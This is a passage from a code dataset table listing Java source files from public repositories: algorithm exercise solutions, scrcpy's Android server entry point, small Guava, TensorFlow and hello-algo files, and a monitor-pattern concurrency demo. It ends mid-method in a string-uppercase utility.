file_id
int64 1
215k
| content
stringlengths 7
454k
| repo
stringlengths 6
113
| path
stringlengths 6
251
|
---|---|---|---|
1,201 | /**
* One of the first users of BIT’s new supercomputer was Chip Diller. He extended his exploration of
* powers of 3 to go from 0 to 333 and he explored taking various sums of those numbers.
* “This supercomputer is great,” remarked Chip. “I only wish Timothy were here to see these results.”
* (Chip moved to a new apartment, once one became available on the third floor of the Lemon Sky
* apartments on Third Street.)
* Input
* The input will consist of at most 100 lines of text, each of which contains a single VeryLongInteger.
* Each VeryLongInteger will be 100 or fewer characters in length, and will only contain digits (no
* VeryLongInteger will be negative).
* The final input line will contain a single zero on a line by itself.
* Output
* Your program should output the sum of the VeryLongIntegers given in the input.
* Sample Input
* 123456789012345678901234567890
* 123456789012345678901234567890
* 123456789012345678901234567890
* 0
* Sample Output
* 370370367037037036703703703670
*/
//https://uva.onlinejudge.org/index.php?option=com_onlinejudge&Itemid=8&page=show_problem&category=&problem=365
import java.math.BigInteger;
import java.util.Scanner;
public class IntegerInquiry {
public static void main(String[] args) {
Scanner input = new Scanner(System.in);
BigInteger sum = BigInteger.ZERO;
while (true) {
BigInteger number = input.nextBigInteger();
if (number.equals(BigInteger.ZERO)) {
break;
}
sum = sum.add(number);
}
System.out.println(sum);
}
}
| kdn251/interviews | uva/IntegerInquiry.java |
1,209 | package com.genymobile.scrcpy;
import android.os.BatteryManager;
import android.os.Build;
import java.io.File;
import java.io.IOException;
import java.util.ArrayList;
import java.util.List;
public final class Server {
public static final String SERVER_PATH;
static {
String[] classPaths = System.getProperty("java.class.path").split(File.pathSeparator);
// By convention, scrcpy is always executed with the absolute path of scrcpy-server.jar as the first item in the classpath
SERVER_PATH = classPaths[0];
}
private static class Completion {
private int running;
private boolean fatalError;
Completion(int running) {
this.running = running;
}
synchronized void addCompleted(boolean fatalError) {
--running;
if (fatalError) {
this.fatalError = true;
}
if (running == 0 || this.fatalError) {
notify();
}
}
synchronized void await() {
try {
while (running > 0 && !fatalError) {
wait();
}
} catch (InterruptedException e) {
// ignore
}
}
}
private Server() {
// not instantiable
}
private static void initAndCleanUp(Options options, CleanUp cleanUp) {
// This method is called from its own thread, so it may only configure cleanup actions which are NOT dynamic (i.e. they are configured once
// and for all, they cannot be changed from another thread)
if (options.getShowTouches()) {
try {
String oldValue = Settings.getAndPutValue(Settings.TABLE_SYSTEM, "show_touches", "1");
// If "show touches" was disabled, it must be disabled back on clean up
if (!"1".equals(oldValue)) {
if (!cleanUp.setDisableShowTouches(true)) {
Ln.e("Could not disable show touch on exit");
}
}
} catch (SettingsException e) {
Ln.e("Could not change \"show_touches\"", e);
}
}
if (options.getStayAwake()) {
int stayOn = BatteryManager.BATTERY_PLUGGED_AC | BatteryManager.BATTERY_PLUGGED_USB | BatteryManager.BATTERY_PLUGGED_WIRELESS;
try {
String oldValue = Settings.getAndPutValue(Settings.TABLE_GLOBAL, "stay_on_while_plugged_in", String.valueOf(stayOn));
try {
int restoreStayOn = Integer.parseInt(oldValue);
if (restoreStayOn != stayOn) {
// Restore only if the current value is different
if (!cleanUp.setRestoreStayOn(restoreStayOn)) {
Ln.e("Could not restore stay on on exit");
}
}
} catch (NumberFormatException e) {
// ignore
}
} catch (SettingsException e) {
Ln.e("Could not change \"stay_on_while_plugged_in\"", e);
}
}
if (options.getPowerOffScreenOnClose()) {
if (!cleanUp.setPowerOffScreen(true)) {
Ln.e("Could not power off screen on exit");
}
}
}
private static void scrcpy(Options options) throws IOException, ConfigurationException {
if (Build.VERSION.SDK_INT < Build.VERSION_CODES.S && options.getVideoSource() == VideoSource.CAMERA) {
Ln.e("Camera mirroring is not supported before Android 12");
throw new ConfigurationException("Camera mirroring is not supported");
}
CleanUp cleanUp = null;
Thread initThread = null;
if (options.getCleanup()) {
cleanUp = CleanUp.configure(options.getDisplayId());
initThread = startInitThread(options, cleanUp);
}
int scid = options.getScid();
boolean tunnelForward = options.isTunnelForward();
boolean control = options.getControl();
boolean video = options.getVideo();
boolean audio = options.getAudio();
boolean sendDummyByte = options.getSendDummyByte();
boolean camera = video && options.getVideoSource() == VideoSource.CAMERA;
final Device device = camera ? null : new Device(options);
Workarounds.apply(audio, camera);
List<AsyncProcessor> asyncProcessors = new ArrayList<>();
DesktopConnection connection = DesktopConnection.open(scid, tunnelForward, video, audio, control, sendDummyByte);
try {
if (options.getSendDeviceMeta()) {
connection.sendDeviceMeta(Device.getDeviceName());
}
if (control) {
ControlChannel controlChannel = connection.getControlChannel();
Controller controller = new Controller(device, controlChannel, cleanUp, options.getClipboardAutosync(), options.getPowerOn());
device.setClipboardListener(text -> {
DeviceMessage msg = DeviceMessage.createClipboard(text);
controller.getSender().send(msg);
});
asyncProcessors.add(controller);
}
if (audio) {
AudioCodec audioCodec = options.getAudioCodec();
AudioCapture audioCapture = new AudioCapture(options.getAudioSource());
Streamer audioStreamer = new Streamer(connection.getAudioFd(), audioCodec, options.getSendCodecMeta(), options.getSendFrameMeta());
AsyncProcessor audioRecorder;
if (audioCodec == AudioCodec.RAW) {
audioRecorder = new AudioRawRecorder(audioCapture, audioStreamer);
} else {
audioRecorder = new AudioEncoder(audioCapture, audioStreamer, options.getAudioBitRate(), options.getAudioCodecOptions(),
options.getAudioEncoder());
}
asyncProcessors.add(audioRecorder);
}
if (video) {
Streamer videoStreamer = new Streamer(connection.getVideoFd(), options.getVideoCodec(), options.getSendCodecMeta(),
options.getSendFrameMeta());
SurfaceCapture surfaceCapture;
if (options.getVideoSource() == VideoSource.DISPLAY) {
surfaceCapture = new ScreenCapture(device);
} else {
surfaceCapture = new CameraCapture(options.getCameraId(), options.getCameraFacing(), options.getCameraSize(),
options.getMaxSize(), options.getCameraAspectRatio(), options.getCameraFps(), options.getCameraHighSpeed());
}
SurfaceEncoder surfaceEncoder = new SurfaceEncoder(surfaceCapture, videoStreamer, options.getVideoBitRate(), options.getMaxFps(),
options.getVideoCodecOptions(), options.getVideoEncoder(), options.getDownsizeOnError());
asyncProcessors.add(surfaceEncoder);
}
Completion completion = new Completion(asyncProcessors.size());
for (AsyncProcessor asyncProcessor : asyncProcessors) {
asyncProcessor.start((fatalError) -> {
completion.addCompleted(fatalError);
});
}
completion.await();
} finally {
if (initThread != null) {
initThread.interrupt();
}
for (AsyncProcessor asyncProcessor : asyncProcessors) {
asyncProcessor.stop();
}
connection.shutdown();
try {
if (initThread != null) {
initThread.join();
}
for (AsyncProcessor asyncProcessor : asyncProcessors) {
asyncProcessor.join();
}
} catch (InterruptedException e) {
// ignore
}
connection.close();
}
}
private static Thread startInitThread(final Options options, final CleanUp cleanUp) {
Thread thread = new Thread(() -> initAndCleanUp(options, cleanUp), "init-cleanup");
thread.start();
return thread;
}
public static void main(String... args) {
int status = 0;
try {
internalMain(args);
} catch (Throwable t) {
Ln.e(t.getMessage(), t);
status = 1;
} finally {
// By default, the Java process exits when all non-daemon threads are terminated.
// The Android SDK might start some non-daemon threads internally, preventing the scrcpy server to exit.
// So force the process to exit explicitly.
System.exit(status);
}
}
private static void internalMain(String... args) throws Exception {
Thread.setDefaultUncaughtExceptionHandler((t, e) -> {
Ln.e("Exception on thread " + t, e);
});
Options options = Options.parse(args);
Ln.disableSystemStreams();
Ln.initLogLevel(options.getLogLevel());
Ln.i("Device: [" + Build.MANUFACTURER + "] " + Build.BRAND + " " + Build.MODEL + " (Android " + Build.VERSION.RELEASE + ")");
if (options.getList()) {
if (options.getCleanup()) {
CleanUp.unlinkSelf();
}
if (options.getListEncoders()) {
Ln.i(LogUtils.buildVideoEncoderListMessage());
Ln.i(LogUtils.buildAudioEncoderListMessage());
}
if (options.getListDisplays()) {
Ln.i(LogUtils.buildDisplayListMessage());
}
if (options.getListCameras() || options.getListCameraSizes()) {
Workarounds.apply(false, true);
Ln.i(LogUtils.buildCameraListMessage(options.getListCameraSizes()));
}
// Just print the requested data, do not mirror
return;
}
try {
scrcpy(options);
} catch (ConfigurationException e) {
// Do not print stack trace, a user-friendly error-message has already been logged
}
}
}
| Genymobile/scrcpy | server/src/main/java/com/genymobile/scrcpy/Server.java |
1,219 | /*
* Copyright (C) 2019 The Guava Authors
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except
* in compliance with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software distributed under the License
* is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express
* or implied. See the License for the specific language governing permissions and limitations under
* the License.
*/
package com.google.common.base;
import com.google.common.annotations.GwtIncompatible;
import com.google.common.annotations.J2ktIncompatible;
import java.time.Duration;
/** This class is for {@code com.google.common.base} use only! */
@J2ktIncompatible
@GwtIncompatible // java.time.Duration
@ElementTypesAreNonnullByDefault
final class Internal {
/**
* Returns the number of nanoseconds of the given duration without throwing or overflowing.
*
* <p>Instead of throwing {@link ArithmeticException}, this method silently saturates to either
* {@link Long#MAX_VALUE} or {@link Long#MIN_VALUE}. This behavior can be useful when decomposing
* a duration in order to call a legacy API which requires a {@code long, TimeUnit} pair.
*/
@SuppressWarnings({
// We use this method only for cases in which we need to decompose to primitives.
"GoodTime-ApiWithNumericTimeUnit",
"GoodTime-DecomposeToPrimitive",
// We use this method only from within APIs that require a Duration.
"Java7ApiChecker",
})
@IgnoreJRERequirement
static long toNanosSaturated(Duration duration) {
// Using a try/catch seems lazy, but the catch block will rarely get invoked (except for
// durations longer than approximately +/- 292 years).
try {
return duration.toNanos();
} catch (ArithmeticException tooBig) {
return duration.isNegative() ? Long.MIN_VALUE : Long.MAX_VALUE;
}
}
private Internal() {}
}
| google/guava | android/guava/src/com/google/common/base/Internal.java |
1,221 |
/**
* Given a base b and two non-negative base b integers
* p and m, compute p mod m and print the
* result as a base-b integer. p mod m is defined
* as the smallest non-negative integer k such that
* p = a ∗ m + k for some integer a.
* Input
* Input consists of a number of cases. Each case is
* represented by a line containing three unsigned
* integers. The first, b, is a decimal number between
* 2 and 10. The second, p, contains up to 1000 digits between 0 and b − 1. The third, m, contains
* up to 9 digits between 0 and b − 1. The last case is followed by a line containing ‘0’.
* Output
* For each test case, print a line giving p mod m as a base-b integer.
* Sample Input
* 2 1100 101
* 10 123456789123456789123456789 1000
* 0
* Sample Output
* 10
* 789
*
*/
//https://uva.onlinejudge.org/index.php?option=com_onlinejudge&Itemid=8&page=show_problem&problem=1492
import java.math.BigInteger;
import java.util.Scanner;
public class BasicRemains {
public static void main(String[] args) {
Scanner input = new Scanner(System.in);
while (input.hasNext()) {
int baseNumber = input.nextInt();
if (baseNumber == 0) {
break;
}
BigInteger p = new BigInteger(input.next(), baseNumber);
BigInteger m = new BigInteger(input.next(), baseNumber);
System.out.println((p.mod(m)).toString(baseNumber));
}
}
} | kdn251/interviews | uva/BasicRemains.java |
1,222 | /**
* File: heap.java
* Created Time: 2023-01-07
* Author: krahets ([email protected])
*/
package chapter_heap;
import utils.*;
import java.util.*;
public class heap {
public static void testPush(Queue<Integer> heap, int val) {
heap.offer(val); // 元素入堆
System.out.format("\n元素 %d 入堆后\n", val);
PrintUtil.printHeap(heap);
}
public static void testPop(Queue<Integer> heap) {
int val = heap.poll(); // 堆顶元素出堆
System.out.format("\n堆顶元素 %d 出堆后\n", val);
PrintUtil.printHeap(heap);
}
public static void main(String[] args) {
/* 初始化堆 */
// 初始化小顶堆
Queue<Integer> minHeap = new PriorityQueue<>();
// 初始化大顶堆(使用 lambda 表达式修改 Comparator 即可)
Queue<Integer> maxHeap = new PriorityQueue<>((a, b) -> b - a);
System.out.println("\n以下测试样例为大顶堆");
/* 元素入堆 */
testPush(maxHeap, 1);
testPush(maxHeap, 3);
testPush(maxHeap, 2);
testPush(maxHeap, 5);
testPush(maxHeap, 4);
/* 获取堆顶元素 */
int peek = maxHeap.peek();
System.out.format("\n堆顶元素为 %d\n", peek);
/* 堆顶元素出堆 */
testPop(maxHeap);
testPop(maxHeap);
testPop(maxHeap);
testPop(maxHeap);
testPop(maxHeap);
/* 获取堆大小 */
int size = maxHeap.size();
System.out.format("\n堆元素数量为 %d\n", size);
/* 判断堆是否为空 */
boolean isEmpty = maxHeap.isEmpty();
System.out.format("\n堆是否为空 %b\n", isEmpty);
/* 输入列表并建堆 */
// 时间复杂度为 O(n) ,而非 O(nlogn)
minHeap = new PriorityQueue<>(Arrays.asList(1, 3, 2, 5, 4));
System.out.println("\n输入列表并建立小顶堆后");
PrintUtil.printHeap(minHeap);
}
}
| krahets/hello-algo | codes/java/chapter_heap/heap.java |
1,225 | /**
* File: PrintUtil.java
* Created Time: 2022-11-25
* Author: krahets ([email protected])
*/
package utils;
import java.util.*;
class Trunk {
Trunk prev;
String str;
Trunk(Trunk prev, String str) {
this.prev = prev;
this.str = str;
}
};
public class PrintUtil {
/* 打印矩阵(Array) */
public static <T> void printMatrix(T[][] matrix) {
System.out.println("[");
for (T[] row : matrix) {
System.out.println(" " + row + ",");
}
System.out.println("]");
}
/* 打印矩阵(List) */
public static <T> void printMatrix(List<List<T>> matrix) {
System.out.println("[");
for (List<T> row : matrix) {
System.out.println(" " + row + ",");
}
System.out.println("]");
}
/* 打印链表 */
public static void printLinkedList(ListNode head) {
List<String> list = new ArrayList<>();
while (head != null) {
list.add(String.valueOf(head.val));
head = head.next;
}
System.out.println(String.join(" -> ", list));
}
/* 打印二叉树 */
public static void printTree(TreeNode root) {
printTree(root, null, false);
}
/**
* 打印二叉树
* This tree printer is borrowed from TECHIE DELIGHT
* https://www.techiedelight.com/c-program-print-binary-tree/
*/
public static void printTree(TreeNode root, Trunk prev, boolean isRight) {
if (root == null) {
return;
}
String prev_str = " ";
Trunk trunk = new Trunk(prev, prev_str);
printTree(root.right, trunk, true);
if (prev == null) {
trunk.str = "———";
} else if (isRight) {
trunk.str = "/———";
prev_str = " |";
} else {
trunk.str = "\\———";
prev.str = prev_str;
}
showTrunks(trunk);
System.out.println(" " + root.val);
if (prev != null) {
prev.str = prev_str;
}
trunk.str = " |";
printTree(root.left, trunk, false);
}
public static void showTrunks(Trunk p) {
if (p == null) {
return;
}
showTrunks(p.prev);
System.out.print(p.str);
}
/* 打印哈希表 */
public static <K, V> void printHashMap(Map<K, V> map) {
for (Map.Entry<K, V> kv : map.entrySet()) {
System.out.println(kv.getKey() + " -> " + kv.getValue());
}
}
/* 打印堆(优先队列) */
public static void printHeap(Queue<Integer> queue) {
List<Integer> list = new ArrayList<>(queue);
System.out.print("堆的数组表示:");
System.out.println(list);
System.out.println("堆的树状表示:");
TreeNode root = TreeNode.listToTree(list);
printTree(root);
}
}
| krahets/hello-algo | codes/java/utils/PrintUtil.java |
1,232 | // Google is one of the most famous Internet search engines which hosts and develops a number of Internetbased
// services and products. On its search engine website, an interesting button ‘I’m feeling lucky’
// attracts our eyes. This feature could allow the user skip the search result page and goes directly to the
// first ranked page. Amazing! It saves a lot of time.
// The question is, when one types some keywords and presses ‘I’m feeling lucky’ button, which web
// page will appear? Google does a lot and comes up with excellent approaches to deal with it. In this
// simplified problem, let us just consider that Google assigns every web page an integer-valued relevance.
// The most related page will be chosen. If there is a tie, all the pages with the highest relevance are
// possible to be chosen.
// Your task is simple, given 10 web pages and their relevance. Just pick out all the possible candidates
// which will be served to the user when ‘I’m feeling lucky’.
// Input
// The input contains multiple test cases. The number of test cases T is in the first line of the input file.
// For each test case, there are 10 lines, describing the web page and the relevance. Each line contains
// a character string without any blank characters denoting the URL of this web page and an integer
// Vi denoting the relevance of this web page. The length of the URL is between 1 and 100 inclusively.
// (1 ≤ Vi ≤ 100)
// Output
// For each test case, output several lines which are the URLs of the web pages which are possible to be
// chosen. The order of the URLs is the same as the input. Please look at the sample output for further
// information of output format.
// Sample Input
// 2
// www.youtube.com 1
// www.google.com 2
// www.google.com.hk 3
// www.alibaba.com 10
// www.taobao.com 5
// www.bad.com 10
// www.good.com 7
// www.fudan.edu.cn 8
// www.university.edu.cn 9
// acm.university.edu.cn 10
// www.youtube.com 1
// www.google.com 2
// www.google.com.hk 3
// www.alibaba.com 11
// www.taobao.com 5
// www.bad.com 10
// www.good.com 7
// www.fudan.edu.cn 8
// acm.university.edu.cn 9
// acm.university.edu.cn 10
// Sample Output
// Case #1:
// www.alibaba.com
// www.bad.com
// acm.university.edu.cn
// Case #2:
// www.alibaba.com
/**
* Created by kdn251 on 1/30/17.
*/
import java.util.*;
public class GoogleIsFeelingLucky {
public static void main(String args[]) {
HashMap<Integer, List<String>> map = new HashMap<Integer, List<String>>();
Scanner sc = new Scanner(System.in);
int testCases = sc.nextInt();
int max = Integer.MIN_VALUE;
int caseCount = 1;
for(int i = 0; i < testCases * 10; i++) {
String website = sc.next();
int relevance = sc.nextInt();
if(i % 10 == 0 && i != 0) {
List<String> allCandidates = map.get(max);
System.out.println("Case #" + caseCount + ":");
caseCount++;
for(String s : allCandidates) {
System.out.println(s);
}
map = new HashMap<Integer, List<String>>();
max = Integer.MIN_VALUE;
}
if(map.containsKey(relevance)) {
map.get(relevance).add(website);
}
if(!map.containsKey(relevance)) {
List<String> list = new ArrayList<String>();
map.put(relevance, list);
map.get(relevance).add(website);
}
if(relevance > max) {
max = relevance;
}
}
System.out.println("Case #" + caseCount + ":");
for(String s : map.get(max)) {
System.out.println(s);
}
}
}
| kdn251/interviews | uva/GoogleIsFeelingLucky.java |
1,234 | // Invert a binary tree.
// 4
// / \
// 2 7
// / \ / \
// 1 3 6 9
// to
// 4
// / \
// 7 2
// / \ / \
// 9 6 3 1
/**
* Definition for a binary tree node.
* public class TreeNode {
* int val;
* TreeNode left;
* TreeNode right;
* TreeNode(int x) { val = x; }
* }
*/
public class InvertBinaryTree {
public TreeNode invertTree(TreeNode root) {
if(root == null) {
return root;
}
TreeNode temp = root.left;
root.left = invertTree(root.right);
root.right = invertTree(temp);
return root;
}
}
| kdn251/interviews | leetcode/tree/InvertBinaryTree.java |
1,236 | //Given a m x n grid filled with non-negative numbers, find a path from top left to bottom right
//which minimizes the sum of all numbers along its path.
//Note: You can only move either down or right at any point in time.
//Example 1:
//[[1,3,1],
//[1,5,1],
//[4,2,1]]
//Given the above grid map, return 7. Because the path 1→3→1→1→1 minimizes the sum.
class MinimumPathSum {
public int minPathSum(int[][] grid) {
for(int i = 1; i < grid.length; i++) {
grid[i][0] += grid[i - 1][0];
}
for(int i = 1; i < grid[0].length; i++) {
grid[0][i] += grid[0][i - 1];
}
for(int i = 1; i < grid.length; i++) {
for(int j = 1; j < grid[0].length; j++) {
grid[i][j] += Math.min(grid[i - 1][j], grid[i][j - 1]);
}
}
return grid[grid.length - 1][grid[0].length - 1];
}
}
| kdn251/interviews | leetcode/array/MinimumPathSum.java |
1,239 | /* Copyright 2016 The TensorFlow Authors. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
==============================================================================*/
/**
* Defines classes to build, save, load and execute TensorFlow models.
*
*<aside class="warning">
* <b>Warning:</b> This API is deprecated and will be removed in a future
* version of TensorFlow after <a href="https://tensorflow.org/java">the replacement</a>
* is stable.
*</aside>
*
* <p>To get started, see the <a href="https://tensorflow.org/install/lang_java_legacy">
* installation instructions.</a></p>
*
* <p>The <a
* href="https://www.tensorflow.org/code/tensorflow/java/src/main/java/org/tensorflow/examples/LabelImage.java">LabelImage</a>
* example demonstrates use of this API to classify images using a pre-trained <a
* href="http://arxiv.org/abs/1512.00567">Inception</a> architecture convolutional neural network.
* It demonstrates:
*
* <ul>
* <li>Graph construction: using the OperationBuilder class to construct a graph to decode, resize
* and normalize a JPEG image.
* <li>Model loading: Using Graph.importGraphDef() to load a pre-trained Inception model.
* <li>Graph execution: Using a Session to execute the graphs and find the best label for an
* image.
* </ul>
*
* <p>Additional examples can be found in the <a
* href="https://github.com/tensorflow/java">tensorflow/java</a> GitHub repository.
*/
package org.tensorflow;
| tensorflow/tensorflow | tensorflow/java/src/main/java/org/tensorflow/package-info.java |
1,242 | /*
* This project is licensed under the MIT license. Module model-view-viewmodel is using ZK framework licensed under LGPL (see lgpl-3.0.txt).
*
* The MIT License
* Copyright © 2014-2022 Ilkka Seppälä
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
package com.iluwatar.monitor;
import java.security.SecureRandom;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.Executors;
import lombok.extern.slf4j.Slf4j;
/**
* The Monitor pattern is used in concurrent algorithms to achieve mutual exclusion.
*
* <p>Bank is a simple class that transfers money from an account to another account using {@link
* Bank#transfer}. It can also return the balance of the bank account stored in the bank.
*
* <p>Main class uses ThreadPool to run threads that do transactions on the bank accounts.
*/
@Slf4j
public class Main {
private static final int NUMBER_OF_THREADS = 5;
private static final int BASE_AMOUNT = 1000;
private static final int ACCOUNT_NUM = 4;
/**
* Runner to perform a bunch of transfers and handle exception.
*
* @param bank bank object
* @param latch signal finished execution
*/
public static void runner(Bank bank, CountDownLatch latch) {
try {
SecureRandom random = new SecureRandom();
Thread.sleep(random.nextInt(1000));
LOGGER.info("Start transferring...");
for (int i = 0; i < 1000000; i++) {
bank.transfer(random.nextInt(4), random.nextInt(4), random.nextInt(0, BASE_AMOUNT));
}
LOGGER.info("Finished transferring.");
latch.countDown();
} catch (InterruptedException e) {
LOGGER.error(e.getMessage());
Thread.currentThread().interrupt();
}
}
/**
* Program entry point.
*
* @param args command line args
*/
public static void main(String[] args) throws InterruptedException {
var bank = new Bank(ACCOUNT_NUM, BASE_AMOUNT);
var latch = new CountDownLatch(NUMBER_OF_THREADS);
var executorService = Executors.newFixedThreadPool(NUMBER_OF_THREADS);
for (int i = 0; i < NUMBER_OF_THREADS; i++) {
executorService.execute(() -> runner(bank, latch));
}
latch.await();
}
}
| rajprins/java-design-patterns | monitor/src/main/java/com/iluwatar/monitor/Main.java |
1,243 | //Given an array of integers and an integer k, find out whether there are two distinct indices i and
//j in the array such that nums[i] = nums[j] and the absolute difference between i and j is at most k.
class ContainsDuplicatesII {
public boolean containsNearbyDuplicate(int[] nums, int k) {
HashMap<Integer, Integer> map = new HashMap<Integer, Integer>();
for(int i = 0; i < nums.length; i++) {
int current = nums[i];
if(map.containsKey(current) && i - map.get(current) <= k) {
return true;
} else {
map.put(current, i);
}
}
return false;
}
}
| kdn251/interviews | leetcode/array/ContainsDuplicatesII.java |
1,245 | //On a staircase, the i-th step has some non-negative cost cost[i] assigned (0 indexed).
//
//Once you pay the cost, you can either climb one or two steps. You need to find minimum cost to reach the top of the floor, and you can either start from the step with index 0, or the step with index 1.
//
//Example 1:
//Input: cost = [10, 15, 20]
//Output: 15
//Explanation: Cheapest is start on cost[1], pay that cost and go to the top.
//Example 2:
//Input: cost = [1, 100, 1, 1, 1, 100, 1, 1, 100, 1]
//Output: 6
//Explanation: Cheapest is start on cost[0], and only step on 1s, skipping cost[3].
//Note:
//cost will have a length in the range [2, 1000].
//Every cost[i] will be an integer in the range [0, 999].
class MinCostClimbingStairs {
public int minCostClimbingStairs(int[] cost) {
if(cost == null || cost.length == 0) {
return 0;
}
if(cost.length == 1) {
return cost[0];
}
if(cost.length == 2) {
return Math.min(cost[0], cost[1]);
}
int[] dp = new int[cost.length];
dp[0] = cost[0];
dp[1] = cost[1];
for(int i = 2; i < cost.length; i++) {
dp[i] = Math.min(dp[i - 1] + cost[i], dp[i - 2] + cost[i]);
}
return Math.min(dp[cost.length - 1], dp[cost.length -2]);
}
}
| kdn251/interviews | company/amazon/MinCostClimbingStairs.java |
1,247 | package com.thealgorithms.maths;
/**
* This is Euclid's algorithm, used to find the greatest common
* denominator Override function name gcd
*
* @author Oskar Enmalm 3/10/17
*/
public final class GCD {
private GCD() {
}
/**
* get the greatest common divisor
*
* @param num1 the first number
* @param num2 the second number
* @return gcd
*/
public static int gcd(int num1, int num2) {
if (num1 < 0 || num2 < 0) {
throw new ArithmeticException();
}
if (num1 == 0 || num2 == 0) {
return Math.abs(num1 - num2);
}
while (num1 % num2 != 0) {
int remainder = num1 % num2;
num1 = num2;
num2 = remainder;
}
return num2;
}
/**
* @brief computes gcd of an array of numbers
*
* @param numbers the input array
* @return gcd of all of the numbers in the input array
*/
public static int gcd(int[] numbers) {
int result = 0;
for (final var number : numbers) {
result = gcd(result, number);
}
return result;
}
public static void main(String[] args) {
int[] myIntArray = {4, 16, 32};
// call gcd function (input array)
System.out.println(gcd(myIntArray)); // => 4
System.out.printf("gcd(40,24)=%d gcd(24,40)=%d%n", gcd(40, 24), gcd(24, 40)); // => 8
}
}
| TheAlgorithms/Java | src/main/java/com/thealgorithms/maths/GCD.java |
1,251 | // Given a sorted integer array where the range of elements are in the inclusive range [lower, upper], return its missing ranges.
// For example, given [0, 1, 3, 50, 75], lower = 0 and upper = 99, return ["2", "4->49", "51->74", "76->99"].
public class MissingRanges {
public List<String> findMissingRanges(int[] nums, int lower, int upper) {
ArrayList<String> result = new ArrayList<String>();
for(int i = 0; i <= nums.length; i++) {
long start = i == 0 ? lower : (long)nums[i - 1] + 1;
long end = i == nums.length ? upper : (long)nums[i] - 1;
addMissing(result, start, end);
}
return result;
}
void addMissing(ArrayList<String> result, long start, long end) {
if(start > end) {
return;
} else if(start == end) {
result.add(start + "");
} else {
result.add(start + "->" + end);
}
}
}
| kdn251/interviews | leetcode/array/MissingRanges.java |
1,252 | /**
* When a number is expressed in decimal, the k-th digit represents a multiple of 10k. (Digits are numbered
* from right to left, where the least significant digit is number 0.) For example,
* 8130710 = 8 × 104 + 1 × 103 + 3 × 102 + 0 × 101 + 7 × 100 = 80000 + 1000 + 300 + 0 + 7 = 81307.
* When a number is expressed in binary, the k-th digit represents a multiple of 2
* k. For example,
* 100112 = 1 × 2
* 4 + 0 × 2
* 3 + 0 × 2
* 2 + 1 × 2
* 1 + 1 × 2
* 0 = 16 + 0 + 0 + 2 + 1 = 19.
* In skew binary, the k-th digit represents a multiple of 2
* k+1 − 1. The only possible digits are 0
* and 1, except that the least-significant nonzero digit can be a 2. For example,
* 10120skew = 1×(25 −1)+ 0×(24 −1)+ 1×(23 −1)+ 2×(22 −1)+ 0×(21 −1) = 31+ 0+ 7+ 6+ 0 = 44.
* The first 10 numbers in skew binary are 0, 1, 2, 10, 11, 12, 20, 100, 101, and 102. (Skew binary is
* useful in some applications because it is possible to add 1 with at most one carry. However, this has
* nothing to do with the current problem.)
* Input
* The input file contains one or more lines, each of which contains an integer n. If n = 0 it signals the
* end of the input, and otherwise n is a nonnegative integer in skew binary.
* Output
* For each number, output the decimal equivalent. The decimal value of n will be at most 2
* 31 − 1 =
* 2147483647.
* Sample Input
* 10120
* 200000000000000000000000000000
* 10
* 1000000000000000000000000000000
* 11
* 100
* 11111000001110000101101102000
* 0
* Sample Output
* 44
* 2147483646
* 3
* 2147483647
* 4
* 7
* 1041110737
*/
//https://uva.onlinejudge.org/index.php?option=com_onlinejudge&Itemid=8&page=show_problem&problem=516
import java.math.BigInteger;
import java.util.Scanner;
public class SkewBinary {
public static void main(String[] args) {
Scanner input = new Scanner(System.in);
while (true) {
BigInteger number = input.nextBigInteger();
if (number.equals(BigInteger.ZERO)) {
break;
}
int length = (number + "").length();
BigInteger sum = BigInteger.ZERO;
for (int i = 0; i < length; i++) {
BigInteger mod10 = number.mod(BigInteger.TEN);
BigInteger insideBrackets = BigInteger.valueOf((long) (Math
.pow(2, i + 1) - 1));
sum = sum.add((mod10).multiply(insideBrackets));
number = number.divide(BigInteger.TEN);
}
System.out.println(sum);
}
}
}
| kdn251/interviews | uva/SkewBinary.java |
1,253 | package com.thealgorithms.strings;
public final class Lower {
private Lower() {
}
/**
* Driver Code
*/
public static void main(String[] args) {
String[] strings = {"ABC", "ABC123", "abcABC", "abc123ABC"};
for (String s : strings) {
assert toLowerCase(s).equals(s.toLowerCase());
}
}
/**
* Converts all of the characters in this {@code String} to lower case
*
* @param s the string to convert
* @return the {@code String}, converted to lowercase.
*/
public static String toLowerCase(String s) {
char[] values = s.toCharArray();
for (int i = 0; i < values.length; ++i) {
if (Character.isLetter(values[i]) && Character.isUpperCase(values[i])) {
values[i] = Character.toLowerCase(values[i]);
}
}
return new String(values);
}
}
| TheAlgorithms/Java | src/main/java/com/thealgorithms/strings/Lower.java |
1,255 | package com.thealgorithms.strings;
public final class Upper {
private Upper() {
}
/**
* Driver Code
*/
public static void main(String[] args) {
String[] strings = {"ABC", "ABC123", "abcABC", "abc123ABC"};
for (String s : strings) {
assert toUpperCase(s).equals(s.toUpperCase());
}
}
/**
* Converts all of the characters in this {@code String} to upper case
*
* @param s the string to convert
* @return the {@code String}, converted to uppercase.
*/
public static String toUpperCase(String s) {
